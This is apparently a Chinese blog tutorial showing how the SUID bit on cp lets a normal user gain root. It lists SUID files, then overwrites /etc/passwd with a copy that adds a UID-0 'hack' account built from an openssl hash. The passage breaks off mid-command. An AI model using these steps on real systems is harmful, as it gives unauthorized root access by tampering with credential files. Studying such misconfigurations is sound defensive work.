我之前写过一篇 文件权限与ACL 的文章,提到过了权限也提到了s权限位。对s权限没有了解的可以先看下这篇内容。本篇要提到的为root用户的suid,具体可以看下passwd命令对应的权限。如果一些命令给了s权限位以后,是可以进行提权操作。可使用如下命令以root用户执行查看当前具有s权限位的文件:find / -perm -u=s -type f 2>/dev/null
一、cp suid 示例
给 cp命令suid:[root@361way ~]# whereis cp
cp: /usr/bin/cp /bin/cp /usr/share/man/man1/cp.1.gz /usr/share/man/man1p/cp.1p.gz
[root@361way ~]# ll /usr/bin/cp
-rwxr-xr-x 1 root root 151136 Aug 6 2016 /usr/bin/cp
[root@361way ~]# chmod u+s /bin/cp
普通用户提权:[zabbix@localhost ~]$ cat /etc/passwd >passwd
[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
$1$hack$WTn0dk2QjNeKfl.DHOUue0
[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
[zabbix@localhost ~]$ cp passwd /etc/passwd
[zabbix@localhost ~]$ su - hac